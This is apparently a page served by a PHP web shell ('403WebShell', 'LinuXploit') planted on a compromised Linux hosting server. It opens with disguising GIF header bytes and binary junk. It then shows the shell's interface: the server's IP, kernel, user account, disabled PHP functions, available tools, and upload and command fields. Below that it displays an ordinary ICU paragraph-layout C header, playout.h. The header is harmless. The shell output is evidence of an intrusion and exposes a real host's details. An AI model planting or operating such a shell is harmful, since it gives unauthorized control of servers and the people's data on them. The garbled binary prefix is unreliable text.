GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 3.143.7.53
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/layout/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/layout/playout.h
/*
 *
 * (C) Copyright IBM Corp. 1998-2011 - All Rights Reserved
 *
 */

#ifndef __PLAYOUT_H
#define __PLAYOUT_H

/*
 * ParagraphLayout doesn't make much sense without
 * BreakIterator...
 */
#include "unicode/ubidi.h"
#if ! UCONFIG_NO_BREAK_ITERATION
#ifndef U_HIDE_INTERNAL_API

#include "layout/LETypes.h"
#include "plruns.h"

/**
 * \file 
 * \brief C API for paragraph layout.
 *
 * This is a technology preview. The API may
 * change significantly.
 *
 */

/**
 * The opaque type for a paragraph layout.
 *
 * @internal
 */
typedef void pl_paragraph;

/**
 * The opaque type for a line in a paragraph layout.
 *
 * @internal
 */
typedef void pl_line;

/**
 * The opaque type for a visual run in a line.
 *
 * @internal
 */
typedef void pl_visualRun;

/**
 * Construct a <code>ParagraphLayout</code> object for a styled paragraph. The paragraph is specified
 * as runs of text all in the same font. An <code>LEFontInstance</code> object and a limit offset
 * are specified for each font run. The limit offset is the offset of the character immediately
 * after the font run.
 *
 * Clients can optionally specify directional runs and / or script runs. If these aren't specified
 * they will be computed.
 *
 * If any errors are encountered during construction, <code>status</code> will be set, and the object
 * will be set to be empty.
 *
 * @param chars is an array of the characters in the paragraph
 *
 * @param count is the number of characters in the paragraph.
 *
 * @param fontRuns a pointer to a <code>pl_fontRuns</code> object representing the font runs.
 *
 * @param levelRuns is a pointer to a <code>pl_valueRuns</code> object representing the directional levels.
 *        If this pointer in <code>NULL</code> the levels will be determined by running the Unicde
 *        Bidi algorithm.
 *
 * @param scriptRuns is a pointer to a <code>pl_valueRuns</code> object representing script runs.
 *        If this pointer in <code>NULL</code> the script runs will be determined using the
 *        Unicode code points.
 *
 * @param localeRuns is a pointer to a <code>pl_localeRuns</code> object representing locale runs.
 *        The <code>Locale</code> objects are used to determind the language of the text. If this
 *        pointer is <code>NULL</code> the default locale will be used for all of the text. 
 *
 * @param paragraphLevel is the directionality of the paragraph, as in the UBiDi object.
 *
 * @param vertical is <code>TRUE</code> if the paragraph should be set vertically.
 *
 * @param status will be set to any error code encountered during construction.
 *
 * @return a pointer to the newly created <code>pl_paragraph</code> object. The object
 *         will remain valid until <code>pl_close</code> is called.
 *
 * @see ubidi.h
 * @see longine.h
 * @see plruns.h
 *
 * @internal
 */
U_INTERNAL pl_paragraph * U_EXPORT2
pl_create(const LEUnicode chars[],
          le_int32 count,
          const pl_fontRuns *fontRuns,
          const pl_valueRuns *levelRuns,
          const pl_valueRuns *scriptRuns,
          const pl_localeRuns *localeRuns,
          UBiDiLevel paragraphLevel,
          le_bool vertical,
          LEErrorCode *status);

/**
 * Close the given paragraph layout object.
 *
 * @param paragraph the <code>pl_paragraph</code> object to be
 *                  closed. Once this routine returns the object
 *                  can no longer be referenced
 *
 * @internal
 */
U_INTERNAL void U_EXPORT2
pl_close(pl_paragraph *paragraph);

/**
 * Examine the given text and determine if it contains characters in any
 * script which requires complex processing to be rendered correctly.
 *
 * @param chars is an array of the characters in the paragraph
 *
 * @param count is the number of characters in the paragraph.
 *
 * @return <code>TRUE</code> if any of the text requires complex processing.
 *
 * @internal
 */

U_INTERNAL le_bool U_EXPORT2
pl_isComplex(const LEUnicode chars[],
          le_int32 count);

/**
 * Return the resolved paragraph level. This is useful for those cases
 * where the bidi analysis has determined the level based on the first
 * strong character in the paragraph.
 *
 * @param paragraph the <code>pl_paragraph</code>
 *
 * @return the resolved paragraph level.
 *
 * @internal
 */
U_INTERNAL UBiDiLevel U_EXPORT2
pl_getParagraphLevel(pl_paragraph *paragraph);

/**
 * Return the directionality of the text in the paragraph.
 *
 * @param paragraph the <code>pl_paragraph</code>
 *
 * @return <code>UBIDI_LTR</code> if the text is all left to right,
 *         <code>UBIDI_RTL</code> if the text is all right to left,
 *         or <code>UBIDI_MIXED</code> if the text has mixed direction.
 *
 * @internal
 */
U_INTERNAL UBiDiDirection U_EXPORT2
pl_getTextDirection(pl_paragraph *paragraph);

/**
 * Get the max ascent value for all the fonts
 * in the paragraph.
 *
 * @param paragraph the <code>pl_paragraph</code>
 *
 * Return the max ascent value for all the fonts
 * in the paragraph.
 *
 * @param paragraph the <code>pl_paragraph</code>
 *
 * @return the ascent value.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getAscent(const pl_paragraph *paragraph);

/**
 * Return the max descent value for all the fonts
 * in the paragraph.
 *
 * @param paragraph the <code>pl_paragraph</code>
 *
 * @return the decent value.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getDescent(const pl_paragraph *paragraph);

/**
 * Return the max leading value for all the fonts
 * in the paragraph.
 *
 * @param paragraph the <code>pl_paragraph</code>
 *
 * @return the leading value.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getLeading(const pl_paragraph *paragraph);

/**
 * Reset line breaking to start from the beginning of the paragraph.
 *
 * @param paragraph the <code>pl_paragraph</code>
 *
 * @internal
 */
U_INTERNAL void U_EXPORT2
pl_reflow(pl_paragraph *paragraph);

/**
 * Return a <code>pl_line</code> object which represents next line
 * in the paragraph. The width of the line is specified each time so that it can
 * be varied to support arbitrary paragraph shapes.
 *
 * @param paragraph the <code>pl_paragraph</code>
 * @param width is the width of the line. If <code>width</code> is less than or equal
 *              to zero, a <code>ParagraphLayout::Line</code> object representing the
 *              rest of the paragraph will be returned.
 *
 * @return a <code>ParagraphLayout::Line</code> object which represents the line. The caller
 *         is responsible for deleting the object. Returns <code>NULL</code> if there are no
 *         more lines in the paragraph.
 *
 * @see pl_line
 *
 * @internal
 */
U_INTERNAL pl_line * U_EXPORT2
pl_nextLine(pl_paragraph *paragraph, float width);

/**
 * Close the given line object. Line objects are created
 * by <code>pl_nextLine</code> but it is the client's responsibility
 * to close them by calling this routine.
 *
 * @param line the <code>pl_line</code> object to close.
 *
 * @internal
 */
U_INTERNAL void U_EXPORT2
pl_closeLine(pl_line *line);

/**
 * Count the number of visual runs in the line.
 *
 * @param line the <code>pl_line</code> object.
 *
 * @return the number of visual runs.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_countLineRuns(const pl_line *line);

/**
 * Get the ascent of the line. This is the maximum ascent
 * of all the fonts on the line.
 *
 * @param line the <code>pl_line</code> object.
 *
 * @return the ascent of the line.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getLineAscent(const pl_line *line);

/**
 * Get the descent of the line. This is the maximum descent
 * of all the fonts on the line.
 *
 * @param line the <code>pl_line</code> object.
 *
 * @return the descent of the line.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getLineDescent(const pl_line *line);

/**
 * Get the leading of the line. This is the maximum leading
 * of all the fonts on the line.
 *
 * @param line the <code>pl_line</code> object.
 *
 * @return the leading of the line.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getLineLeading(const pl_line *line);

/**
 * Get the width of the line. This is a convenience method
 * which returns the last X position of the last visual run
 * in the line.
 *
 * @param line the <code>pl_line</code> object.
 *
 * @return the width of the line.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getLineWidth(const pl_line *line);

/**
 * Get a <code>ParagraphLayout::VisualRun</code> object for a given
 * visual run in the line.
 *
 * @param line the <code>pl_line</code> object.
 * @param runIndex is the index of the run, in visual order.
 *
 * @return the <code>pl_visualRun</code> object representing the
 *         visual run. This object is owned by the <code>pl_line</code> object which
 *         created it, and will remain valid for as long as the <code>pl_line</code>
 *         object is valid.
 *
 * @see pl_visualRun
 *
 * @internal
 */
U_INTERNAL const pl_visualRun * U_EXPORT2
pl_getLineVisualRun(const pl_line *line, le_int32 runIndex);

/**
 * Get the <code>le_font</code> object which
 * represents the font of the visual run. This will always
 * be a non-composite font.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the <code>le_font</code> object which represents the
 *         font of the visual run.
 *
 * @see le_font
 *
 * @internal
 */
U_INTERNAL const le_font * U_EXPORT2
pl_getVisualRunFont(const pl_visualRun *run);

/**
 * Get the direction of the visual run.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the direction of the run. This will be <code>UBIDI_LTR</code> if the
 *         run is left-to-right and <code>UBIDI_RTL</code> if the line is right-to-left.
 *
 * @internal
 */
U_INTERNAL UBiDiDirection U_EXPORT2
pl_getVisualRunDirection(const pl_visualRun *run);

/**
 * Get the number of glyphs in the visual run.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the number of glyphs.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getVisualRunGlyphCount(const pl_visualRun *run);

/**
 * Get the glyphs in the visual run. Glyphs with the values <code>0xFFFE</code> and
 * <code>0xFFFF</code> should be ignored.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the address of the array of glyphs for this visual run. The storage
 *         is owned by the <code>pl_visualRun</code> object and must not be deleted.
 *         It will remain valid as long as the <code>pl_visualRun</code> object is valid.
 *
 * @internal
 */
U_INTERNAL const LEGlyphID * U_EXPORT2
pl_getVisualRunGlyphs(const pl_visualRun *run);

/**
 * Get the (x, y) positions of the glyphs in the visual run. To simplify storage
 * management, the x and y positions are stored in a single array with the x positions
 * at even offsets in the array and the corresponding y position in the following odd offset.
 * There is an extra (x, y) pair at the end of the array which represents the advance of
 * the final glyph in the run.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the address of the array of glyph positions for this visual run. The storage
 *         is owned by the <code>pl_visualRun</code> object and must not be deleted.
 *         It will remain valid as long as the <code>pl_visualRun</code> object is valid.
 *
 * @internal
 */
U_INTERNAL const float * U_EXPORT2
pl_getVisualRunPositions(const pl_visualRun *run);

/**
 * Get the glyph-to-character map for this visual run. This maps the indices into
 * the glyph array to indices into the character array used to create the paragraph.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the address of the character-to-glyph map for this visual run. The storage
 *         is owned by the <code>pl_visualRun</code> object and must not be deleted.
 *         It will remain valid as long as the <code>pl_visualRun</code> object is valid.
 *
 * @internal
 */
U_INTERNAL const le_int32 * U_EXPORT2
pl_getVisualRunGlyphToCharMap(const pl_visualRun *run);

/**
 * A convenience method which returns the ascent value for the font
 * associated with this run.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the ascent value of this run's font.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getVisualRunAscent(const pl_visualRun *run);

/**
 * A convenience method which returns the descent value for the font
 * associated with this run.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the descent value of this run's font.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getVisualRunDescent(const pl_visualRun *run);

/**
 * A convenience method which returns the leading value for the font
 * associated with this run.
 *
 * @param run the <code>pl_visualRun</code> object.
 *
 * @return the leading value of this run's font.
 *
 * @internal
 */
U_INTERNAL le_int32 U_EXPORT2
pl_getVisualRunLeading(const pl_visualRun *run);

#endif  /* U_HIDE_INTERNAL_API */
#endif
#endif

Youez - 2016 - github.com/yon3zu
LinuXploit